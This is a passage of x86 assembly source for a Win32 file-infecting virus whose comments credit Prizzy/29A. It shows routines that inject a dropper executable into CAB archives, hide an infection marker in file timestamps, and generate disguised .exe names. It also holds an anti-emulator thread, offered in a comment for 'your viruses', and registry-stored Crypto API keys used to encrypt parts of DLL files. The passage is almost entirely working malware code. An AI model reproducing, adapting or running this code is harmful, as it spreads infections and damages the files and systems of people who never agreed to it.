|
; modify folder's starts
|
|||
|
push esi
|
|||
|
movzx ebx,word ptr [edi]. (CABh_nFolders - CAB_h_struct)
|
|||
|
__iCAB_modify:
|
|||
|
or ebx,ebx
|
|||
|
jz __iCAB_modified
|
|||
|
sub esi,(CAB_file_start - CAB_directory_start)
|
|||
|
mov eax,(CAB_entry - CAB_directory_start) - (8+1+3)
|
|||
|
add eax,[ebp+__iCAB_nChars]
|
|||
|
add dword ptr [esi]. \
|
|||
|
(CABd_FirstRec - CAB_directory_start),eax
|
|||
|
dec ebx
|
|||
|
jmp __iCAB_modify
|
|||
|
__iCAB_modified:
|
|||
|
pop esi
|
|||
|
|
|||
|
; make place for new folder
|
|||
|
push edi
|
|||
|
mov edi,esi
|
|||
|
add edi,(CAB_file_start - CAB_directory_start)
|
|||
|
mov ecx,[ebp+__iCAB_fFSize]
|
|||
|
add ecx,[ebp+__iCAB_fMemory]
|
|||
|
sub ecx,esi
|
|||
|
call __movsd_back
|
|||
|
pop edi
|
|||
|
|
|||
|
; save offset - ESI=place of the new folder
|
|||
|
add esi,00000004h
|
|||
|
mov [ebp+__iCAB_myFolder],esi ;modify later
|
|||
|
|
|||
|
; get number of files and calculate my new file position
|
|||
|
movzx eax,word ptr [edi]. (CABh_nFiles - CAB_h_struct)
|
|||
|
push eax
|
|||
|
call ppe_get_rnd_range
|
|||
|
inc eax
|
|||
|
xchg eax,edx
|
|||
|
push edx
|
|||
|
|
|||
|
; modify all file structs in CAB archive
|
|||
|
add esi,(CAB_file_start - CAB_directory_start)
|
|||
|
push edi
|
|||
|
mov edi,esi
|
|||
|
__iCAB_search:
|
|||
|
or edx,edx
|
|||
|
jz __iCAB_searched
|
|||
|
add edi,(CABf_FileName - CAB_file_start)
|
|||
|
mov ecx,-1
|
|||
|
xor al,al
|
|||
|
repnz scasb
|
|||
|
dec edx
|
|||
|
jmp __iCAB_search
|
|||
|
__iCAB_searched:
|
|||
|
mov esi,edi
|
|||
|
pop edi
|
|||
|
|
|||
|
; update file in folder
|
|||
|
mov dx,[edi].(CABh_nFolders - CAB_h_struct)
|
|||
|
|
|||
|
; make place for new file struct
|
|||
|
push edi
|
|||
|
mov edi,esi
|
|||
|
add edi,(CAB_entry - CAB_file_start) - (8+1+3)
|
|||
|
add edi,[ebp+__iCAB_nChars] ;new file name length
|
|||
|
mov ecx,[ebp+__iCAB_fFSize]
|
|||
|
add ecx,[ebp+__iCAB_fMemory]
|
|||
|
add ecx,(CAB_file_start - CAB_directory_start)
|
|||
|
sub ecx,esi
|
|||
|
call __movsd_back
|
|||
|
|
|||
|
; set some values to file header
|
|||
|
mov eax,[ebp+__iCAB_dFSize] ;drropper's file size
|
|||
|
mov word ptr [ebp+CABe_Compr],ax
|
|||
|
mov word ptr [ebp+CABe_UnCompr],ax
|
|||
|
mov [ebp+CABf_UnCompSize],eax
|
|||
|
|
|||
|
; save offset of the file struct
|
|||
|
add esi,00000004h
|
|||
|
mov edi,esi
|
|||
|
lea esi,[ebp+CAB_file_start]
|
|||
|
mov [esi].(CABf_Flags - CAB_file_start),dx
|
|||
|
mov ecx,(CAB_entry - CAB_file_start) - (8+1+3)
|
|||
|
add ecx,[ebp+__iCAB_nChars]
|
|||
|
rep movsb
|
|||
|
mov esi,edi
|
|||
|
pop edi
|
|||
|
|
|||
|
; modify files - ESI=next file struct
|
|||
|
pop edx
|
|||
|
pop ebx
|
|||
|
sub ebx,edx ;files to modify
|
|||
|
push edi
|
|||
|
mov edi,esi
|
|||
|
__iCAB_search_2:
|
|||
|
or ebx,ebx
|
|||
|
jz __iCAB_searched_2
|
|||
|
add edi,(CABf_FileName - CAB_file_start)
|
|||
|
mov ecx,-1
|
|||
|
xor al,al
|
|||
|
repnz scasb
|
|||
|
dec ebx
|
|||
|
jmp __iCAB_search_2
|
|||
|
__iCAB_searched_2:
|
|||
|
pop edi
|
|||
|
|
|||
|
; change CAB header
|
|||
|
inc word ptr [edi]. \ ;add new folder
|
|||
|
(CABh_nFolders - CAB_h_struct)
|
|||
|
inc word ptr [edi]. \ ;add new files
|
|||
|
(CABh_nFiles - CAB_h_struct)
|
|||
|
add dword ptr[edi]. \
|
|||
|
(CABh_FirstRec - CAB_h_struct), \
|
|||
|
CAB_file_start - CAB_directory_start
|
|||
|
mov eax,[ebp+__iCAB_dFSize]
|
|||
|
add eax,[ebp+__iCAB_nChars]
|
|||
|
add eax,(CAB_entry - CAB_file_start) - (8+1+3)
|
|||
|
add dword ptr[edi]. \
|
|||
|
(CABh_FileSize - CAB_h_struct),eax
|
|||
|
|
|||
|
; change folder's values
|
|||
|
mov edi,[ebp+__iCAB_myFolder]
|
|||
|
mov eax,[ebp+__iCAB_fFSize]
|
|||
|
add eax,(CAB_entry - CAB_directory_start) - (8+1+3)
|
|||
|
add eax,[ebp+__iCAB_nChars]
|
|||
|
mov [edi],eax ;offset to the 1st entry
|
|||
|
mov word ptr [edi+4],0001h ;number of blocks
|
|||
|
mov word ptr [edi+6],0000h ;type of compress
|
|||
|
|
|||
|
; create new block and copy dropper
|
|||
|
mov edi,[ebp+__iCAB_fMemory]
|
|||
|
add edi,[ebp+__iCAB_fFSize]
|
|||
|
add edi,(CAB_entry - CAB_directory_start) - (8+1+3)
|
|||
|
add edi,[ebp+__iCAB_nChars]
|
|||
|
lea esi,[ebp+CAB_entry] ;create new block
|
|||
|
mov ecx,(CABe_Compr_data - CAB_entry)
|
|||
|
rep movsb
|
|||
|
|
|||
|
mov edx,edi ;copy my dropper
|
|||
|
mov ecx,[ebp+__iCAB_dFSize]
|
|||
|
xor esi,esi
|
|||
|
mov ebx,[ebp+__iCAB_dHandle]
|
|||
|
call __MyReadFile
|
|||
|
jc __iCAB_dClose
|
|||
|
|
|||
|
; "update" headers + whole file + dropper
|
|||
|
mov edx,[ebp+__iCAB_fMemory]
|
|||
|
add ecx,edi
|
|||
|
sub ecx,edx
|
|||
|
xor esi,esi
|
|||
|
mov ebx,[ebp+__iCAB_fHandle]
|
|||
|
call __MyWriteFile
|
|||
|
|
|||
|
; archive has been infected
|
|||
|
mov ebx,[ebp+__iCAB_fHandle]
|
|||
|
call __set_archive_infected
|
|||
|
|
|||
|
__iCAB_dClose:
|
|||
|
mov eax,[ebp+__iCAB_fMemory]
|
|||
|
call mdealloc
|
|||
|
mov ebx,[ebp+__iCAB_dHandle]
|
|||
|
call __MyCloseFile
|
|||
|
__iCAB_fClose:
|
|||
|
mov ebx,[ebp+__iCAB_fHandle]
|
|||
|
call __MyCloseFile
|
|||
|
|
|||
|
__iCAB_finish:
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ common archivez operations <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;Check whether archive has been infected. This function
|
|||
|
;reads its time and calculate whether isn't divided by
|
|||
|
;magic number (for this virus it is 117).
|
|||
|
;
|
|||
|
; input:
|
|||
|
; EBX ... file handle
|
|||
|
; output:
|
|||
|
; CFlags
|
|||
|
;
|
|||
|
__get_archive_infected:
|
|||
|
|
|||
|
; get archive file time
|
|||
|
lea eax,[ebp+FileTime]
|
|||
|
push eax ;LastWriteTime
|
|||
|
push 00000000h ;LastAccessTime
|
|||
|
push 00000000h ;CreationTime
|
|||
|
push ebx ;file handle
|
|||
|
call [ebp+ddGetFileTime]
|
|||
|
or eax,eax
|
|||
|
jz __gai_failed
|
|||
|
|
|||
|
; convert "FileTime" to "SystemTime"
|
|||
|
lea eax,[ebp+SystemTime] ;SystemTime structure
|
|||
|
push eax
|
|||
|
lea eax,[ebp+FileTime] ;FileTime structure
|
|||
|
push eax
|
|||
|
call [ebp+ddFileTimeToSystemTime]
|
|||
|
|
|||
|
; hours, minutes, seconds, milliseconds add up
|
|||
|
lea esi,word ptr [ebp+SystemTime]
|
|||
|
mov ecx,(size SystemTime - 2) / 2
|
|||
|
xor ebx,ebx
|
|||
|
__gai_calculate:
|
|||
|
lodsw
|
|||
|
add ebx,eax
|
|||
|
dec ecx
|
|||
|
jnz __gai_calculate
|
|||
|
sub ebx,1990
|
|||
|
sub bx,word ptr [ebp+SystemTime.wDayOfWeek]
|
|||
|
|
|||
|
xchg eax,ebx
|
|||
|
call __check_infected
|
|||
|
jnc __gai_failed
|
|||
|
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
__gai_failed equ $-1
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function set 117 value among Year, Month, Day, Hour,
|
|||
|
;Minute and Second value by FileTime. At first I will put
|
|||
|
;random values there and then I will modify it once again.
|
|||
|
;
|
|||
|
; input:
|
|||
|
; EBX ... file handle
|
|||
|
;
|
|||
|
|
|||
|
; TimeBuffer:
|
|||
|
; 1st value = offset in SystemTime struct
|
|||
|
; 2nd value = max of generate number
|
|||
|
; 3rd value = increase generate number
|
|||
|
__sai_TimeBuffer db 0,10,0, 2,12,1, 6,30,1, 8,24,0
|
|||
|
db 10,60,0, 12,60,0
|
|||
|
__sai_counter dd 00000000h
|
|||
|
;
|
|||
|
__set_archive_infected:
|
|||
|
|
|||
|
push ebx
|
|||
|
|
|||
|
; divide that number to Year, Month, Day, Hour, Minute...
|
|||
|
__sai_restart:
|
|||
|
lea edi,[ebp+__sai_TimeBuffer]
|
|||
|
lea edx,[ebp+SystemTime]
|
|||
|
mov esi,117
|
|||
|
xor ecx,ecx
|
|||
|
__sai_again:
|
|||
|
movzx ebx,byte ptr [edi+ecx] ;offset in SystemTime struct
|
|||
|
movzx eax,byte ptr [edi+ecx+1];generate number
|
|||
|
call ppe_get_rnd_range
|
|||
|
cmp byte ptr [edi+ecx+2],1
|
|||
|
jnz __sai_loop
|
|||
|
inc eax
|
|||
|
__sai_loop:
|
|||
|
mov [edx+ebx],ax
|
|||
|
sub esi,eax
|
|||
|
add ecx,3
|
|||
|
cmp ecx,3*6
|
|||
|
jnz __sai_again
|
|||
|
|
|||
|
; only even seconds
|
|||
|
test [ebp+SystemTime].wSecond,1
|
|||
|
jnz __sai_restart
|
|||
|
|
|||
|
test esi,80000000h
|
|||
|
jnz __sai_restart
|
|||
|
or esi,esi
|
|||
|
jz __sai_continue
|
|||
|
|
|||
|
; increase/decrease some value from SystemTime
|
|||
|
__sai_next_loop:
|
|||
|
lea edi,[ebp+__sai_TimeBuffer]
|
|||
|
lea edx,[ebp+SystemTime]
|
|||
|
__sai_new_value:
|
|||
|
mov [ebp+__sai_counter],2 ;disable Year
|
|||
|
__sai_next_value:
|
|||
|
xor ecx,ecx ;start of scaning
|
|||
|
__sai_next_round:
|
|||
|
add ecx,3 ;disable Year or
|
|||
|
movzx eax,byte ptr [edi+ecx] ;next value
|
|||
|
movzx ebx,byte ptr [edi+ecx+1]
|
|||
|
cmp eax,[ebp+__sai_counter] ;the right value
|
|||
|
jnz __sai_next_round
|
|||
|
dec bx ;'ceuse of gen. n.
|
|||
|
cmp [edx+eax],bx
|
|||
|
jz __sai_fulled
|
|||
|
|
|||
|
inc word ptr [edx+eax] ;increase value
|
|||
|
dec esi ;decrease counter
|
|||
|
|
|||
|
__sai_fulled:
|
|||
|
or esi,esi ;finish ?
|
|||
|
jz __sai_continue
|
|||
|
__sai_disable_value:
|
|||
|
add [ebp+__sai_counter],00000002h ;next value in ST
|
|||
|
cmp [ebp+__sai_counter],00000004h ;"Day Of Week" value?
|
|||
|
jz __sai_disable_value ;if yes, disable it
|
|||
|
cmp [ebp+__sai_counter],0000000Ch ;"Second" value ?
|
|||
|
jz __sai_disable_value ;if yes, disable it
|
|||
|
|
|||
|
cmp [ebp+__sai_counter],7*2 ;end of table ?
|
|||
|
jnz __sai_next_value
|
|||
|
jmp __sai_new_value
|
|||
|
|
|||
|
__sai_continue:
|
|||
|
xor eax,eax
|
|||
|
mov [ebp+SystemTime].wMilliseconds,ax
|
|||
|
add [ebp+SystemTime].wYear,1990
|
|||
|
|
|||
|
; convert "SystemTime" to "FileTime"
|
|||
|
lea eax,[ebp+FileTime] ;FileTime structure
|
|||
|
push eax
|
|||
|
lea eax,[ebp+SystemTime] ;SystemTime structure
|
|||
|
push eax
|
|||
|
call [ebp+ddSystemTimeToFileTime]
|
|||
|
|
|||
|
; set FileTime
|
|||
|
pop ebx ;file handle
|
|||
|
lea eax,[ebp+FileTime]
|
|||
|
push eax ;LastWriteTime
|
|||
|
push 00000000h ;LastAccessTime
|
|||
|
push 00000000h ;CreationTime
|
|||
|
push ebx ;file handle
|
|||
|
call [ebp+ddSetFileTime]
|
|||
|
or eax,eax
|
|||
|
jz __sai_failed
|
|||
|
|
|||
|
__sai_failed:
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function generates FileName to archive.
|
|||
|
;
|
|||
|
; input:
|
|||
|
; EDI ... where put new name (maximum=8+1+3)
|
|||
|
; output:
|
|||
|
; EAX ... filename length
|
|||
|
;
|
|||
|
generate_name:
|
|||
|
pusha
|
|||
|
cld
|
|||
|
lea esi,[ebp+gen_archive_filename]
|
|||
|
mov eax,gen_archive_number
|
|||
|
call ppe_get_rnd_range
|
|||
|
mov ecx,eax
|
|||
|
name_search:
|
|||
|
jecxz name_found
|
|||
|
movzx eax,byte ptr [esi+1]
|
|||
|
add eax,00000002h
|
|||
|
add esi,eax
|
|||
|
dec ecx
|
|||
|
jmp name_search
|
|||
|
name_found:
|
|||
|
mov ebx,edi
|
|||
|
mov al,byte ptr [esi]
|
|||
|
call gen_spec_char
|
|||
|
no_gen_1:
|
|||
|
movzx ecx,byte ptr [esi+1]
|
|||
|
add esi,00000002h
|
|||
|
rep movsb
|
|||
|
|
|||
|
call gen_spec_char
|
|||
|
mov eax,'exe.'
|
|||
|
mov [edi],eax
|
|||
|
add edi,4
|
|||
|
mov edx,edi
|
|||
|
sub edx,ebx
|
|||
|
|
|||
|
mov ecx,8+1+3
|
|||
|
sub ecx,edx
|
|||
|
xor al,al
|
|||
|
rep stosb
|
|||
|
|
|||
|
movzx edx,dl
|
|||
|
mov [esp].access_eax,edx
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
gen_spec_char:
|
|||
|
or al,al
|
|||
|
jz char_exit
|
|||
|
mov eax,00000002h
|
|||
|
call ppe_get_rnd_range
|
|||
|
or al,al
|
|||
|
jz char_exit
|
|||
|
mov byte ptr [edi],'!'
|
|||
|
inc edi
|
|||
|
char_exit:
|
|||
|
ret
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function copy source place to destination. So that
|
|||
|
;it is MOVSD instruction with STD flag.
|
|||
|
;
|
|||
|
; input:
|
|||
|
; ESI ... source place in memory
|
|||
|
; EDI ... destination place in memory
|
|||
|
; ECX ... number bytes to move
|
|||
|
;
|
|||
|
;Note: ESI, EDI ain't real addresses- to understand see on
|
|||
|
; the first four instructions.
|
|||
|
;
|
|||
|
__movsd_back:
|
|||
|
add esi,ecx ;This code has been stolen
|
|||
|
dec esi ;from CiA 1.50 sources.
|
|||
|
add edi,ecx
|
|||
|
dec edi ;(c)oded by Dement
|
|||
|
std ;dement@email.cz
|
|||
|
shr ecx,01h
|
|||
|
jnc __mb_nomovsb
|
|||
|
movsb
|
|||
|
__mb_nomovsb:
|
|||
|
jz __mb_finish
|
|||
|
dec esi
|
|||
|
dec edi
|
|||
|
shr ecx,01h
|
|||
|
jnc __mb_nomovsw
|
|||
|
movsw
|
|||
|
jz __mb_finish
|
|||
|
__mb_nomovsw:
|
|||
|
sub esi,00000002h
|
|||
|
sub edi,00000002h
|
|||
|
rep movsd ;copy me - I wanna travel
|
|||
|
__mb_finish:
|
|||
|
cld
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to actualize compressed programs <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function was called itself from Hyper Infection and
|
|||
|
;it means the extension has been found.
|
|||
|
;
|
|||
|
; input: EDX ... file name
|
|||
|
; EAX ... input parameter (pointer into table)
|
|||
|
; EBX ... next filename in HyperTable
|
|||
|
archive_act:
|
|||
|
|
|||
|
; for more information about EAX (tables), find "AProgram"
|
|||
|
; structure
|
|||
|
|
|||
|
; save registers & load EAX parameter
|
|||
|
pusha
|
|||
|
mov esi,eax
|
|||
|
add esi,ebp
|
|||
|
|
|||
|
; calculate filename length and allocate memory
|
|||
|
call __get_last_char
|
|||
|
sub edi,edx
|
|||
|
push edi ;filename length
|
|||
|
add edi,filename_size
|
|||
|
|
|||
|
mov eax,edi
|
|||
|
call malloc
|
|||
|
mov [esi.program],eax ;save destination place
|
|||
|
|
|||
|
; copy filename there
|
|||
|
mov esi,edx
|
|||
|
mov edi,eax
|
|||
|
pop ecx ;filename length
|
|||
|
rep movsb
|
|||
|
|
|||
|
; disable this archive program
|
|||
|
mov byte ptr [ebx-HyperTable_HalfSize],01h
|
|||
|
|
|||
|
; restore registers
|
|||
|
popa
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ threads <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;------------------------------------------------------------------------
|
|||
|
; Anti-emulators:
|
|||
|
;
|
|||
|
; Welcome everybody who wanna use this method in your viruses. At first
|
|||
|
; I hope you know whats "thread" and "fiber" (see Benny's tutorial). So
|
|||
|
; you active "__thread_1" which it'll patch your original code on NOPs,
|
|||
|
; and after that, who will write that original code there ?
|
|||
|
;
|
|||
|
; __thread_1_begin:
|
|||
|
; jmp $ ;instead this will be NOPs
|
|||
|
;
|
|||
|
; And by "@ANTI_E_START" macro you will PUSH that original values and
|
|||
|
; then by "@ANTI_E_FINISH" you will restore those values. Try to debug
|
|||
|
; this source and you'll understand it or send me mail.
|
|||
|
;
|
|||
|
|
|||
|
;--------------------------------------------------------
|
|||
|
;This thread rewrite some bytes. Common anti-emulator.
|
|||
|
;
|
|||
|
; (__MyCreateThread)
|
|||
|
; input:
|
|||
|
; EAX ... address of this function (__thread_1)
|
|||
|
; EBX ... information
|
|||
|
; * upper imm8 reg ... bytes to patch
|
|||
|
; * where from here (offset)
|
|||
|
;
|
|||
|
__thread_1:
|
|||
|
push eax ecx ebp
|
|||
|
call get_base_ebp
|
|||
|
mov eax,[esp+00000010h] ;get thread parameter
|
|||
|
mov ecx,eax
|
|||
|
shr ecx,18h ;get last imm8 reg
|
|||
|
and eax,00FFFFFFh
|
|||
|
add eax,ebp
|
|||
|
__thread_1_loop:
|
|||
|
mov byte ptr [eax],90h ;patch it
|
|||
|
inc eax ;next byte to patch :)
|
|||
|
loop __thread_1_loop
|
|||
|
pop ebp ecx eax
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to Win32 Cryptography APIs startup <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;At last, at last I start to code this function, at last !
|
|||
|
;So, at first I must check if "Prizzy/29A" key exists. If
|
|||
|
;not, I must create it. Also I'll check whether Crypto API
|
|||
|
;functions exists in "ADVAPI32.DLL" file because they are
|
|||
|
;from "Windows 95, OEM Service Release 2" and WinNT, sure!
|
|||
|
;I cant also decrypt DLL files on network's disks because
|
|||
|
;I must store CSP cryptography key in register class and
|
|||
|
;on those disks I couldn't load that CSP public/simple key
|
|||
|
;from that register. But it does not matter because I can
|
|||
|
;infect EXE files on network's disks. Hehehe - Im perfect!
|
|||
|
;
|
|||
|
crypto_startup:
|
|||
|
|
|||
|
mov [ebp+crypto_Action ],00000000h
|
|||
|
mov [ebp+crypto_loadKey ],00000000h
|
|||
|
mov [ebp+crypto_Provider],00000000h
|
|||
|
|
|||
|
; check if cryptography functions has been found...
|
|||
|
cmp [ebp+ddCryptAcquireContextA],00000000h
|
|||
|
jz __cs_fault
|
|||
|
|
|||
|
; get if crypto key exists in registers...
|
|||
|
push 00000000h ;Flags
|
|||
|
push 00000001h ;PROV_RSA_FULL
|
|||
|
push 00000000h ;provider name
|
|||
|
lea eax,[ebp+crypto_KeyName]
|
|||
|
push eax ;my special key
|
|||
|
lea eax,[ebp+crypto_Provider]
|
|||
|
push eax ;CSP provider
|
|||
|
call [ebp+ddCryptAcquireContextA]
|
|||
|
or eax,eax ;does key exist ?
|
|||
|
jnz __cs_continue
|
|||
|
|
|||
|
; create new key
|
|||
|
push 00000008h ;CRYPT_NEWKEYSET
|
|||
|
push 00000001h ;PROV_RSA_FULL
|
|||
|
push 00000000h ;provider name
|
|||
|
lea eax,[ebp+crypto_KeyName]
|
|||
|
push eax ;my special key
|
|||
|
lea eax,[ebp+crypto_Provider]
|
|||
|
push eax ;CSP provider
|
|||
|
call [ebp+ddCryptAcquireContextA]
|
|||
|
or eax,eax
|
|||
|
jz __cs_fault
|
|||
|
|
|||
|
; register folder "Prizzy/29A" has been created or opened
|
|||
|
; now, check whether I have to generate CPS key
|
|||
|
__cs_continue:
|
|||
|
call __cs_created_key
|
|||
|
jc __cs_fault
|
|||
|
|
|||
|
; generate CSP key for my... for my... for my purpose {:-)
|
|||
|
lea eax,[ebp+crypto_Key]
|
|||
|
push eax ;key's value
|
|||
|
push 00000001h ;CRYPT_EXPORTABLE
|
|||
|
push 00000001h ;AT_KEYEXCHANGE
|
|||
|
push [ebp+crypto_Provider]
|
|||
|
call [ebp+ddCryptGenKey] ;generate key
|
|||
|
or eax,eax
|
|||
|
jz __cs_fault
|
|||
|
|
|||
|
; get handle to the key exchange
|
|||
|
lea eax,[ebp+crypto_XchgKey]
|
|||
|
push eax
|
|||
|
push 00000001h ;AT_KEYEXCHANGE
|
|||
|
push [ebp+crypto_Provider]
|
|||
|
call [ebp+ddCryptGetUserKey]
|
|||
|
|
|||
|
; get a random block cipher session key
|
|||
|
lea eax,[ebp+crypto_Key]
|
|||
|
push eax
|
|||
|
push 00000001h ;CRYPT_EXPORTABLE
|
|||
|
push 00006602h ;CALG_RC2
|
|||
|
push [ebp+crypto_Provider]
|
|||
|
call [ebp+ddCryptGenKey]
|
|||
|
|
|||
|
; determine size of key blob and allocate memory
|
|||
|
lea eax,[ebp+crypto_BlobLen]
|
|||
|
push eax
|
|||
|
push 00000000h
|
|||
|
push 00000000h
|
|||
|
push 00000001h ;SIMPLEBLOB
|
|||
|
push [ebp+crypto_XchgKey]
|
|||
|
push [ebp+crypto_Key]
|
|||
|
call [ebp+ddCryptExportKey] ;get simple blob key length
|
|||
|
|
|||
|
; allocate memory for SIMPLE key (maximum 256 bytes)
|
|||
|
mov eax,[ebp+crypto_BlobLen]
|
|||
|
call malloc
|
|||
|
mov [ebp+crypto_BlobKey],eax
|
|||
|
|
|||
|
; export key into a simple key blob
|
|||
|
lea eax,[ebp+crypto_BlobLen]
|
|||
|
push eax ;length of simple key
|
|||
|
push [ebp+crypto_BlobKey] ;simple blob key buffer
|
|||
|
push 00000000h
|
|||
|
push 00000001h ;SIMPLEBLOB
|
|||
|
push [ebp+crypto_XchgKey]
|
|||
|
push [ebp+crypto_Key]
|
|||
|
call [ebp+ddCryptExportKey] ;generate simple key
|
|||
|
|
|||
|
; get other registery information
|
|||
|
lea eax,[ebp+crypto_BlobHan]
|
|||
|
mov ecx,80000001h ;HKEY_CURRENT_USER
|
|||
|
lea esi,[ebp+crypto_Register]
|
|||
|
call __regOpen
|
|||
|
jc __cs_dealloc
|
|||
|
|
|||
|
; create binary sub-key "Kiss Of Death" it'll be "SimpleKey"
|
|||
|
push [ebp+crypto_BlobLen] ;size of value
|
|||
|
push [ebp+crypto_BlobKey] ;address of data buffer
|
|||
|
push 00000003h ;REG_BINARY flag
|
|||
|
push 00000000h ;reserved
|
|||
|
lea eax,[ebp+crypto_RegFlag]
|
|||
|
push eax ;name of value
|
|||
|
push [ebp+crypto_BlobHan]
|
|||
|
call [ebp+ddRegSetValueExA] ;update it :)
|
|||
|
or eax,eax
|
|||
|
jnz __cs_dealloc_2
|
|||
|
|
|||
|
__cs_close_reg:
|
|||
|
; close register
|
|||
|
push [ebp+crypto_BlobHan] ;my register handle
|
|||
|
call [ebp+ddRegCloseKey]
|
|||
|
|
|||
|
__cs_close_key:
|
|||
|
; close cryptography key
|
|||
|
push [ebp+crypto_Key] ;my generated key
|
|||
|
call [ebp+ddCryptDestroyKey]
|
|||
|
|
|||
|
__cs_finish:
|
|||
|
mov eax,[ebp+crypto_Provider]
|
|||
|
or eax,eax
|
|||
|
jz __cs_end
|
|||
|
push 00000000h
|
|||
|
push eax
|
|||
|
call [ebp+ddCryptReleaseContext]
|
|||
|
__cs_end:
|
|||
|
ret
|
|||
|
|
|||
|
__cs_fault:
|
|||
|
mov [ebp+crypto_Action],00000001h
|
|||
|
jmp __cs_finish
|
|||
|
|
|||
|
__cs_dealloc:
|
|||
|
mov eax,[ebp+crypto_BlobKey]
|
|||
|
call mdealloc
|
|||
|
mov [ebp+crypto_Action],00000001h
|
|||
|
jmp __cs_close_key
|
|||
|
|
|||
|
__cs_dealloc_2:
|
|||
|
mov eax,[ebp+crypto_BlobKey]
|
|||
|
call mdealloc
|
|||
|
mov [ebp+crypto_Action],00000001h
|
|||
|
jmp __cs_close_reg
|
|||
|
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function checks whether "Kiss Of Death" exists in
|
|||
|
;"Prizzy/29A" cryptography register-class. All is because
|
|||
|
;of CSP generating public key.
|
|||
|
;
|
|||
|
__csck_regHan dd 00000000h ;register handle
|
|||
|
__csck_regFlag dd 00000000h ;register type flag
|
|||
|
;
|
|||
|
__cs_created_key:
|
|||
|
|
|||
|
; open register folder "Prizzy/29A"
|
|||
|
lea eax,[ebp+__csck_regHan]
|
|||
|
mov ecx,80000001h ;HKEY_CURRENT_USER
|
|||
|
lea esi,[ebp+crypto_Register]
|
|||
|
call __regOpen
|
|||
|
jc __csck_fault
|
|||
|
|
|||
|
; open binary sub-key "Kiss Of Death"
|
|||
|
push 00000000h ;address of data buffer size
|
|||
|
push 00000000h ;address of data buffer
|
|||
|
mov eax,00000003h
|
|||
|
lea ebx,[ebp+__csck_regFlag]
|
|||
|
mov [ebx],eax
|
|||
|
push ebx ;REG_BINARY flag
|
|||
|
push 00000000h ;reserved
|
|||
|
lea eax,[ebp+crypto_RegFlag]
|
|||
|
push eax ;name of value
|
|||
|
push [ebp+__csck_regHan]
|
|||
|
call [ebp+ddRegQueryValueExA]
|
|||
|
or eax,eax
|
|||
|
pushf
|
|||
|
push [ebp+__csck_regHan] ;close register folder
|
|||
|
call [ebp+ddRegCloseKey]
|
|||
|
popf
|
|||
|
jz __csck_fault
|
|||
|
|
|||
|
test al,0F9h ;hidden STC instruction
|
|||
|
__csck_fault equ $-1
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ function to crypt DLL file <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function encrypts DLL file by Win32 Crypto functions
|
|||
|
;I will encode only two kilobytes.
|
|||
|
;
|
|||
|
;Behaviour:
|
|||
|
; * load SIMPLE key from reg
|
|||
|
; * read 2008 bytes from DLL to memory
|
|||
|
; * encrypt 1992 bytes
|
|||
|
; * save last eight bytes because when i'll encode next
|
|||
|
; eight bytes, WinAPI rewrite 16 bytes, not 8.
|
|||
|
; * encrypt 8 bytes (in fact, it will be 16 bytes)
|
|||
|
; * calculate CRC64 for that 8 bytes
|
|||
|
; * save CRC64 and that 8 bytes to the end of file
|
|||
|
;
|
|||
|
;
|
|||
|
; input: search_filename ... DLL file name
